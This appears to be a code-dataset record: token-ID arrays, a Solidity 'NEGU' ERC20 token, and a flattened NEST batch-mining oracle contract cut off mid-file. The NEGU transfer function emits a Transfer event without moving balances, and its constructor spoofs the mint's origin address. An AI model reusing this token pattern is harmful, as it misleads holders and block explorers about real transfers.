[ 1, 565, 445, 1322, 81, 454, 395, 4727, 12, 203, 3639, 2254, 389, 3825, 4727, 47, 93, 744, 16, 203, 3639, 2254, 389, 3825, 4727, 984, 291, 91, 438, 16, 203, 3639, 2254, 389, 3825, 4727, 51, 17247, 203, 565, 262, 2713, 16618, 1135, 261, 2867, 16, 2254, 13, 288, 203, 3639, 309, 261, 203, 5411, 261, 67, 3825, 4727, 984, 291, 91, 438, 1648, 389, 3825, 4727, 47, 93, 744, 13, 597, 261, 67, 3825, 4727, 984, 291, 91, 438, 1648, 389, 3825, 4727, 51, 17247, 13, 203, 3639, 262, 288, 203, 5411, 327, 261, 2124, 5127, 59, 2203, 67, 27664, 3194, 16, 389, 3825, 4727, 984, 291, 91, 438, 1769, 203, 3639, 289, 203, 203, 3639, 309, 261, 203, 5411, 261, 67, 3825, 4727, 47, 93, 744, 1648, 389, 3825, 4727, 984, 291, 91, 438, 13, 597, 261, 67, 3825, 4727, 47, 93, 744, 1648, 389, 3825, 4727, 51, 17247, 13, 203, 3639, 262, 288, 203, 5411, 327, 261, 47, 61, 6271, 67, 27664, 3194, 16, 389, 3825, 4727, 47, 93, 744, 1769, 203, 3639, 289, 203, 203, 3639, 309, 261, 203, 5411, 261, 67, 3825, 4727, 51, 17247, 1648, 389, 3825, 4727, 47, 93, 744, 13, 597, 261, 67, 3825, 4727, 51, 17247, 1648, 389, 3825, 4727, 984, 291, 91, 438, 13, 203, 3639, 262, 288, 203, 5411, 327, 261, 28202, 15664, 67, 27664, 3194, 16, 389, 3825, 4727, 51, 17247, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0x183d266a5b891463C12Fdc182e6f8EBe11419E25/sources/contracts/NEGU.sol
Track how many tokens are owned by each address. Modify this section
contract SimpleERC20Token { mapping (address => uint256) public balanceOf; string public name = "Never, Ever, Give Up"; string public symbol = "NEGU"; uint8 public decimals = 18; uint256 public totalSupply = 100000000000 * (uint256(10) ** decimals); event Transfer(address indexed from, address indexed to, uint256 value); constructor() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x2a2573973dda5D42e1ee72268a464B2D769Fc8E8), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
4,681,356
[ 1, 4402, 3661, 4906, 2430, 854, 16199, 635, 1517, 1758, 18, 9518, 333, 2442, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4477, 654, 39, 3462, 1345, 288, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 1071, 11013, 951, 31, 203, 203, 565, 533, 1071, 508, 273, 315, 50, 6084, 16, 512, 502, 16, 22374, 1948, 14432, 203, 565, 533, 1071, 3273, 273, 315, 5407, 30673, 14432, 203, 565, 2254, 28, 1071, 15105, 273, 6549, 31, 203, 565, 2254, 5034, 1071, 2078, 3088, 1283, 273, 15088, 11706, 380, 261, 11890, 5034, 12, 2163, 13, 2826, 15105, 1769, 203, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 5034, 460, 1769, 203, 203, 565, 3885, 1435, 1071, 288, 203, 3639, 11013, 951, 63, 3576, 18, 15330, 65, 273, 2078, 3088, 1283, 31, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 92, 22, 69, 2947, 27, 5520, 9036, 449, 69, 25, 40, 9452, 73, 21, 1340, 27, 3787, 9470, 69, 24, 1105, 38, 22, 40, 6669, 29, 42, 71, 28, 41, 28, 3631, 1234, 18, 15330, 16, 2078, 3088, 1283, 1769, 203, 565, 289, 203, 203, 565, 445, 7412, 12, 2867, 358, 16, 2254, 5034, 460, 13, 1071, 1135, 261, 6430, 2216, 13, 288, 203, 3639, 2583, 12, 12296, 951, 63, 3576, 18, 15330, 65, 1545, 460, 1769, 203, 203, 3639, 3626, 12279, 12, 3576, 18, 15330, 16, 358, 16, 460, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 565, 871, 1716, 685, 1125, 12, 2867, 8808, 3410, 16, 1758, 8808, 17571, 264, 16, 2254, 5034, 460, 1769, 203, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-12-18 */ // Sources flattened with hardhat v2.6.5 https://hardhat.org // File contracts/libs/TransferHelper.sol // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.6; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // File contracts/interfaces/INestBatchPriceView.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev This contract implemented the mining logic of nest interface INestBatchPriceView { /// @dev Get the latest trigger price /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号 /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) function triggeredPrice(uint channelId, uint pairIndex) external view returns (uint blockNumber, uint price); /// @dev Get the full information of latest trigger price /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号 /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) /// @return avgPrice Average price /// @return sigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447, /// it means that the volatility has exceeded the range that can be expressed function triggeredPriceInfo(uint channelId, uint pairIndex) external view returns ( uint blockNumber, uint price, uint avgPrice, uint sigmaSQ ); /// @dev Find the price at block number /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号 /// @param height Destination block number /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) function findPrice( uint channelId, uint pairIndex, uint height ) external view returns (uint blockNumber, uint price); /// @dev Get the last (num) effective price /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号 /// @param count The number of prices that want to return /// @return An array which length is num * 2, each two element expresses one price like blockNumber|price function lastPriceList(uint channelId, uint pairIndex, uint count) external view returns (uint[] memory); /// @dev Returns lastPriceList and triggered price info /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号 /// @param count The number of prices that want to return /// @return prices An array which length is num * 2, each two element expresses one price like blockNumber|price /// @return triggeredPriceBlockNumber The block number of triggered price /// @return triggeredPriceValue The token triggered price. (1eth equivalent to (price) token) /// @return triggeredAvgPrice Average price /// @return triggeredSigmaSQ The square of the volatility (18 decimal places). The current implementation /// assumes that the volatility cannot exceed 1. Correspondingly, when the return value is equal to /// 999999999999996447, it means that the volatility has exceeded the range that can be expressed function lastPriceListAndTriggeredPriceInfo(uint channelId, uint pairIndex, uint count) external view returns ( uint[] memory prices, uint triggeredPriceBlockNumber, uint triggeredPriceValue, uint triggeredAvgPrice, uint triggeredSigmaSQ ); } // File contracts/interfaces/INestBatchPrice2.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev This contract implemented the mining logic of nest interface INestBatchPrice2 { /// @dev Get the latest trigger price /// @param channelId 报价通道编号 /// @param pairIndices 报价对编号 /// @param payback 如果费用有多余的,则退回到此地址 /// @return prices 价格数组, i * 2 为第i个价格所在区块, i * 2 + 1 为第i个价格 function triggeredPrice( uint channelId, uint[] calldata pairIndices, address payback ) external payable returns (uint[] memory prices); /// @dev Get the full information of latest trigger price /// @param channelId 报价通道编号 /// @param pairIndices 报价对编号 /// @param payback 如果费用有多余的,则退回到此地址 /// @return prices 价格数组, i * 4 为第i个价格所在区块, i * 4 + 1 为第i个价格, /// i * 4 + 2 为第i个平均价格, i * 4 + 3 为第i个波动率 function triggeredPriceInfo( uint channelId, uint[] calldata pairIndices, address payback ) external payable returns (uint[] memory prices); /// @dev Find the price at block number /// @param channelId 报价通道编号 /// @param pairIndices 报价对编号 /// @param height Destination block number /// @param payback 如果费用有多余的,则退回到此地址 /// @return prices 价格数组, i * 2 为第i个价格所在区块, i * 2 + 1 为第i个价格 function findPrice( uint channelId, uint[] calldata pairIndices, uint height, address payback ) external payable returns (uint[] memory prices); /// @dev Get the last (num) effective price /// @param channelId 报价通道编号 /// @param pairIndices 报价对编号 /// @param count The number of prices that want to return /// @param payback 如果费用有多余的,则退回到此地址 /// @return prices 结果数组,第 i * count * 2 到 (i + 1) * count * 2 - 1为第i组报价对的价格结果 function lastPriceList( uint channelId, uint[] calldata pairIndices, uint count, address payback ) external payable returns (uint[] memory prices); /// @dev Returns lastPriceList and triggered price info /// @param channelId 报价通道编号 /// @param pairIndices 报价对编号 /// @param count The number of prices that want to return /// @param payback 如果费用有多余的,则退回到此地址 /// @return prices 结果数组,第 i * (count * 2 + 4)到 (i + 1) * (count * 2 + 4)- 1为第i组报价对的价格结果 /// 其中前count * 2个为最新价格,后4个依次为:触发价格区块号,触发价格,平均价格,波动率 function lastPriceListAndTriggeredPriceInfo( uint channelId, uint[] calldata pairIndices, uint count, address payback ) external payable returns (uint[] memory prices); } // File contracts/libs/IERC20.sol // MIT pragma solidity ^0.8.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/interfaces/INestBatchMining.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev This interface defines the mining methods for nest interface INestBatchMining { /// @dev 开通报价通道 /// @param channelId 报价通道编号 /// @param token0 计价代币地址。0表示eth /// @param unit token0的单位 /// @param reward 挖矿代币地址。0表示不挖矿 event Open(uint channelId, address token0, uint unit, address reward); /// @dev Post event /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号 /// @param miner Address of miner /// @param index Index of the price sheet /// @param scale 报价规模 event Post(uint channelId, uint pairIndex, address miner, uint index, uint scale, uint price); /* ========== Structures ========== */ /// @dev Nest mining configuration structure struct Config { // -- Public configuration // The number of times the sheet assets have doubled. 4 uint8 maxBiteNestedLevel; // Price effective block interval. 20 uint16 priceEffectSpan; // The amount of nest to pledge for each post (Unit: 1000). 100 uint16 pledgeNest; } /// @dev PriceSheetView structure struct PriceSheetView { // Index of the price sheet uint32 index; // Address of miner address miner; // The block number of this price sheet packaged uint32 height; // The remain number of this price sheet uint32 remainNum; // The eth number which miner will got uint32 ethNumBal; // The eth number which equivalent to token's value which miner will got uint32 tokenNumBal; // The pledged number of nest in this sheet. (Unit: 1000nest) uint24 nestNum1k; // The level of this sheet. 0 expresses initial price sheet, a value greater than 0 expresses bite price sheet uint8 level; // Post fee shares, if there are many sheets in one block, this value is used to divide up mining value uint8 shares; // The token price. (1eth equivalent to (price) token) uint152 price; } // 报价通道配置 struct ChannelConfig { // 计价代币地址, 0表示eth address token0; // 计价代币单位 uint96 unit; // 矿币地址如果和token0或者token1是一种币,可能导致挖矿资产被当成矿币挖走 // 出矿代币地址 address reward; // 每个区块的标准出矿量 uint96 rewardPerBlock; // 矿币总量 //uint96 vault; // 管理地址 //address governance; // 创世区块 //uint32 genesisBlock; // Post fee(0.0001eth,DIMI_ETHER). 1000 uint16 postFeeUnit; // Single query fee (0.0001 ether, DIMI_ETHER). 100 uint16 singleFee; // 衰减系数,万分制。8000 uint16 reductionRate; address[] tokens; } /// @dev 报价对视图 struct PairView { // 报价代币地址 address target; // 报价单数量 uint96 sheetCount; } /// @dev Price channel view struct PriceChannelView { uint channelId; // 计价代币地址, 0表示eth address token0; // 计价代币单位 uint96 unit; // 矿币地址如果和token0或者token1是一种币,可能导致挖矿资产被当成矿币挖走 // 出矿代币地址 address reward; // 每个区块的标准出矿量 uint96 rewardPerBlock; // 矿币总量 uint128 vault; // The information of mining fee uint96 rewards; // Post fee(0.0001eth,DIMI_ETHER). 1000 uint16 postFeeUnit; // 报价对数量 uint16 count; // 管理地址 address governance; // 创世区块 uint32 genesisBlock; // Single query fee (0.0001 ether, DIMI_ETHER). 100 uint16 singleFee; // 衰减系数,万分制。8000 uint16 reductionRate; // 报价对信息 PairView[] pairs; } /* ========== Configuration ========== */ /// @dev Modify configuration /// @param config Configuration object function setConfig(Config calldata config) external; /// @dev Get configuration /// @return Configuration object function getConfig() external view returns (Config memory); /// @dev 开通报价通道 /// @param config 报价通道配置 function open(ChannelConfig calldata config) external; /// @dev 向报价通道注入矿币 /// @param channelId 报价通道 /// @param vault 注入矿币数量 function increase(uint channelId, uint128 vault) external payable; /// @dev 从报价通道取出矿币 /// @param channelId 报价通道 /// @param vault 注入矿币数量 function decrease(uint channelId, uint128 vault) external; /// @dev 获取报价通道信息 /// @param channelId 报价通道 /// @return 报价通道信息 function getChannelInfo(uint channelId) external view returns (PriceChannelView memory); /// @dev 报价 /// @param channelId 报价通道id /// @param scale 报价规模(token0,单位unit) /// @param equivalents 价格数组,索引和报价对一一对应 function post(uint channelId, uint scale, uint[] calldata equivalents) external payable; /// @notice Call the function to buy TOKEN/NTOKEN from a posted price sheet /// @dev bite TOKEN(NTOKEN) by ETH, (+ethNumBal, -tokenNumBal) /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号。吃单方向为拿走计价代币时,直接传报价对编号,吃单方向为拿走报价代币时,报价对编号加65536 /// @param index The position of the sheet in priceSheetList[token] /// @param takeNum The amount of biting (in the unit of ETH), realAmount = takeNum * newTokenAmountPerEth /// @param newEquivalent The new price of token (1 ETH : some TOKEN), here some means newTokenAmountPerEth function take(uint channelId, uint pairIndex, uint index, uint takeNum, uint newEquivalent) external payable; /// @dev List sheets by page /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号 /// @param offset Skip previous (offset) records /// @param count Return (count) records /// @param order Order. 0 reverse order, non-0 positive order /// @return List of price sheets function list( uint channelId, uint pairIndex, uint offset, uint count, uint order ) external view returns (PriceSheetView[] memory); /// @notice Close a batch of price sheets passed VERIFICATION-PHASE /// @dev Empty sheets but in VERIFICATION-PHASE aren't allowed /// @param channelId 报价通道编号 /// @param indices 报价单二维数组,外层对应通道号,内层对应报价单号,如果仅关闭后面的报价对,则前面的报价对数组传空数组 function close(uint channelId, uint[][] calldata indices) external; /// @dev View the number of assets specified by the user /// @param tokenAddress Destination token address /// @param addr Destination address /// @return Number of assets function balanceOf(address tokenAddress, address addr) external view returns (uint); /// @dev Withdraw assets /// @param tokenAddress Destination token address /// @param value The value to withdraw function withdraw(address tokenAddress, uint value) external; /// @dev Estimated mining amount /// @param channelId 报价通道编号 /// @return Estimated mining amount function estimate(uint channelId) external view returns (uint); /// @dev Query the quantity of the target quotation /// @param channelId 报价通道编号 /// @param index The index of the sheet /// @return minedBlocks Mined block period from previous block /// @return totalShares Total shares of sheets in the block function getMinedBlocks( uint channelId, uint index ) external view returns (uint minedBlocks, uint totalShares); /// @dev The function returns eth rewards of specified ntoken /// @param channelId 报价通道编号 function totalETHRewards(uint channelId) external view returns (uint); /// @dev Pay /// @param channelId 报价通道编号 /// @param to Address to receive /// @param value Amount to receive function pay(uint channelId, address to, uint value) external; /// @dev 向DAO捐赠 /// @param channelId 报价通道 /// @param value Amount to receive function donate(uint channelId, uint value) external; } // File contracts/interfaces/INestLedger.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev This interface defines the nest ledger methods interface INestLedger { /// @dev Application Flag Changed event /// @param addr DAO application contract address /// @param flag Authorization flag, 1 means authorization, 0 means cancel authorization event ApplicationChanged(address addr, uint flag); /// @dev Set DAO application /// @param addr DAO application contract address /// @param flag Authorization flag, 1 means authorization, 0 means cancel authorization function setApplication(address addr, uint flag) external; /// @dev Check DAO application flag /// @param addr DAO application contract address /// @return Authorization flag, 1 means authorization, 0 means cancel authorization function checkApplication(address addr) external view returns (uint); /// @dev Add reward /// @param channelId 报价通道 function addETHReward(uint channelId) external payable; /// @dev The function returns eth rewards of specified ntoken /// @param channelId 报价通道 function totalETHRewards(uint channelId) external view returns (uint); /// @dev Pay /// @param channelId 报价通道 /// @param tokenAddress Token address of receiving funds (0 means ETH) /// @param to Address to receive /// @param value Amount to receive function pay(uint channelId, address tokenAddress, address to, uint value) external; } // File contracts/interfaces/INToken.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev ntoken interface interface INToken { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /// @dev Mint /// @param value The amount of NToken to add function increaseTotal(uint256 value) external; /// @notice The view of variables about minting /// @dev The naming follows nest v3.0 /// @return createBlock The block number where the contract was created /// @return recentlyUsedBlock The block number where the last minting went function checkBlockInfo() external view returns(uint256 createBlock, uint256 recentlyUsedBlock); /// @dev The ABI keeps unchanged with old NTokens, so as to support token-and-ntoken-mining /// @return The address of bidder function checkBidder() external view returns(address); /// @notice The view of totalSupply /// @return The total supply of ntoken function totalSupply() external view returns (uint256); /// @dev The view of balances /// @param owner The address of an account /// @return The balance of the account function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); } // File contracts/interfaces/INestMapping.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev The interface defines methods for nest builtin contract address mapping interface INestMapping { /// @dev Set the built-in contract address of the system /// @param nestTokenAddress Address of nest token contract /// @param nestNodeAddress Address of nest node contract /// @param nestLedgerAddress INestLedger implementation contract address /// @param nestMiningAddress INestMining implementation contract address for nest /// @param ntokenMiningAddress INestMining implementation contract address for ntoken /// @param nestPriceFacadeAddress INestPriceFacade implementation contract address /// @param nestVoteAddress INestVote implementation contract address /// @param nestQueryAddress INestQuery implementation contract address /// @param nnIncomeAddress NNIncome contract address /// @param nTokenControllerAddress INTokenController implementation contract address function setBuiltinAddress( address nestTokenAddress, address nestNodeAddress, address nestLedgerAddress, address nestMiningAddress, address ntokenMiningAddress, address nestPriceFacadeAddress, address nestVoteAddress, address nestQueryAddress, address nnIncomeAddress, address nTokenControllerAddress ) external; /// @dev Get the built-in contract address of the system /// @return nestTokenAddress Address of nest token contract /// @return nestNodeAddress Address of nest node contract /// @return nestLedgerAddress INestLedger implementation contract address /// @return nestMiningAddress INestMining implementation contract address for nest /// @return ntokenMiningAddress INestMining implementation contract address for ntoken /// @return nestPriceFacadeAddress INestPriceFacade implementation contract address /// @return nestVoteAddress INestVote implementation contract address /// @return nestQueryAddress INestQuery implementation contract address /// @return nnIncomeAddress NNIncome contract address /// @return nTokenControllerAddress INTokenController implementation contract address function getBuiltinAddress() external view returns ( address nestTokenAddress, address nestNodeAddress, address nestLedgerAddress, address nestMiningAddress, address ntokenMiningAddress, address nestPriceFacadeAddress, address nestVoteAddress, address nestQueryAddress, address nnIncomeAddress, address nTokenControllerAddress ); /// @dev Get address of nest token contract /// @return Address of nest token contract function getNestTokenAddress() external view returns (address); /// @dev Get address of nest node contract /// @return Address of nest node contract function getNestNodeAddress() external view returns (address); /// @dev Get INestLedger implementation contract address /// @return INestLedger implementation contract address function getNestLedgerAddress() external view returns (address); /// @dev Get INestMining implementation contract address for nest /// @return INestMining implementation contract address for nest function getNestMiningAddress() external view returns (address); /// @dev Get INestMining implementation contract address for ntoken /// @return INestMining implementation contract address for ntoken function getNTokenMiningAddress() external view returns (address); /// @dev Get INestPriceFacade implementation contract address /// @return INestPriceFacade implementation contract address function getNestPriceFacadeAddress() external view returns (address); /// @dev Get INestVote implementation contract address /// @return INestVote implementation contract address function getNestVoteAddress() external view returns (address); /// @dev Get INestQuery implementation contract address /// @return INestQuery implementation contract address function getNestQueryAddress() external view returns (address); /// @dev Get NNIncome contract address /// @return NNIncome contract address function getNnIncomeAddress() external view returns (address); /// @dev Get INTokenController implementation contract address /// @return INTokenController implementation contract address function getNTokenControllerAddress() external view returns (address); /// @dev Registered address. The address registered here is the address accepted by nest system /// @param key The key /// @param addr Destination address. 0 means to delete the registration information function registerAddress(string memory key, address addr) external; /// @dev Get registered address /// @param key The key /// @return Destination address. 0 means empty function checkAddress(string memory key) external view returns (address); } // File contracts/interfaces/INestGovernance.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev This interface defines the governance methods interface INestGovernance is INestMapping { /// @dev Set governance authority /// @param addr Destination address /// @param flag Weight. 0 means to delete the governance permission of the target address. Weight is not /// implemented in the current system, only the difference between authorized and unauthorized. /// Here, a uint96 is used to represent the weight, which is only reserved for expansion function setGovernance(address addr, uint flag) external; /// @dev Get governance rights /// @param addr Destination address /// @return Weight. 0 means to delete the governance permission of the target address. Weight is not /// implemented in the current system, only the difference between authorized and unauthorized. /// Here, a uint96 is used to represent the weight, which is only reserved for expansion function getGovernance(address addr) external view returns (uint); /// @dev Check whether the target address has governance rights for the given target /// @param addr Destination address /// @param flag Permission weight. The permission of the target address must be greater than this weight /// to pass the check /// @return True indicates permission function checkGovernance(address addr, uint flag) external view returns (bool); } // File contracts/NestBase.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev Base contract of nest contract NestBase { // Address of nest token contract address constant NEST_TOKEN_ADDRESS = 0x04abEdA201850aC0124161F037Efd70c74ddC74C; // Genesis block number of nest // NEST token contract is created at block height 6913517. However, because the mining algorithm of nest1.0 // is different from that at present, a new mining algorithm is adopted from nest2.0. The new algorithm // includes the attenuation logic according to the block. Therefore, it is necessary to trace the block // where the nest begins to decay. According to the circulation when nest2.0 is online, the new mining // algorithm is used to deduce and convert the nest, and the new algorithm is used to mine the nest2.0 // on-line flow, the actual block is 5120000 //uint constant NEST_GENESIS_BLOCK = 0; /// @dev To support open-zeppelin/upgrades /// @param nestGovernanceAddress INestGovernance implementation contract address function initialize(address nestGovernanceAddress) public virtual { require(_governance == address(0), "NEST:!initialize"); _governance = nestGovernanceAddress; } /// @dev INestGovernance implementation contract address address public _governance; /// @dev Rewritten in the implementation contract, for load other contract addresses. Call /// super.update(nestGovernanceAddress) when overriding, and override method without onlyGovernance /// @param nestGovernanceAddress INestGovernance implementation contract address function update(address nestGovernanceAddress) public virtual { address governance = _governance; require(governance == msg.sender || INestGovernance(governance).checkGovernance(msg.sender, 0), "NEST:!gov"); _governance = nestGovernanceAddress; } // /// @dev Migrate funds from current contract to NestLedger // /// @param tokenAddress Destination token address.(0 means eth) // /// @param value Migrate amount // function migrate(address tokenAddress, uint value) external onlyGovernance { // address to = INestGovernance(_governance).getNestLedgerAddress(); // if (tokenAddress == address(0)) { // INestLedger(to).addETHReward { value: value } (0); // } else { // TransferHelper.safeTransfer(tokenAddress, to, value); // } // } //---------modifier------------ modifier onlyGovernance() { require(INestGovernance(_governance).checkGovernance(msg.sender, 0), "NEST:!gov"); _; } modifier noContract() { require(msg.sender == tx.origin, "NEST:!contract"); _; } } // File contracts/NestBatchMining.sol // GPL-3.0-or-later pragma solidity ^0.8.6; /// @dev This contract implemented the mining logic of nest contract NestBatchMining is NestBase, INestBatchMining { /// @dev To support open-zeppelin/upgrades /// @param nestGovernanceAddress INestGovernance implementation contract address function initialize(address nestGovernanceAddress) public override { super.initialize(nestGovernanceAddress); // Placeholder in _accounts, the index of a real account must greater than 0 _accounts.push(); } /// @dev Definitions for the price sheet, include the full information. /// (use 256-bits, a storage unit in ethereum evm) struct PriceSheet { // Index of miner account in _accounts. for this way, mapping an address(which need 160-bits) to a 32-bits // integer, support 4 billion accounts uint32 miner; // The block number of this price sheet packaged uint32 height; // The remain number of this price sheet uint32 remainNum; // The eth number which miner will got uint32 ethNumBal; // The eth number which equivalent to token's value which miner will got uint32 tokenNumBal; // The pledged number of nest in this sheet. (Unit: 1000nest) uint24 nestNum1k; // The level of this sheet. 0 expresses initial price sheet, a value greater than 0 expresses bite price sheet uint8 level; // Post fee shares, if there are many sheets in one block, this value is used to divide up mining value uint8 shares; // Represent price as this way, may lose precision, the error less than 1/10^14 // price = priceFraction * 16 ^ priceExponent uint56 priceFloat; } /// @dev Definitions for the price information struct PriceInfo { // Record the index of price sheet, for update price information from price sheet next time. uint32 index; // The block number of this price uint32 height; // The remain number of this price sheet uint32 remainNum; // Price, represent as float // Represent price as this way, may lose precision, the error less than 1/10^14 uint56 priceFloat; // Avg Price, represent as float // Represent price as this way, may lose precision, the error less than 1/10^14 uint56 avgFloat; // Square of price volatility, need divide by 2^48 uint48 sigmaSQ; } // 报价对 struct PricePair { address target; PriceInfo price; PriceSheet[] sheets; } /// @dev Price channel struct PriceChannel { // 计价代币地址, 0表示eth address token0; // 计价代币单位 uint96 unit; // 出矿代币地址 address reward; // 每个区块的标准出矿量 uint96 rewardPerBlock; // 矿币总量 uint128 vault; // The information of mining fee uint96 rewards; // Post fee(0.0001eth,DIMI_ETHER). 1000 uint16 postFeeUnit; // 报价对数量 uint16 count; // 管理地址 address governance; // 创世区块 uint32 genesisBlock; // Single query fee (0.0001 ether, DIMI_ETHER). 100 uint16 singleFee; // 衰减系数,万分制。8000 uint16 reductionRate; // 报价对数组 PricePair[0xFFFF] pairs; } /// @dev Structure is used to represent a storage location. Storage variable can be used to avoid indexing /// from mapping many times struct UINT { uint value; } /// @dev Account information struct Account { // Address of account address addr; // Balances of mining account // tokenAddress=>balance mapping(address=>UINT) balances; } // Configuration Config _config; // Registered account information Account[] _accounts; // Mapping from address to index of account. address=>accountIndex mapping(address=>uint) _accountMapping; // 报价通道映射,通过此映射避免重复添加报价通道 //mapping(uint=>uint) _channelMapping; // 报价通道 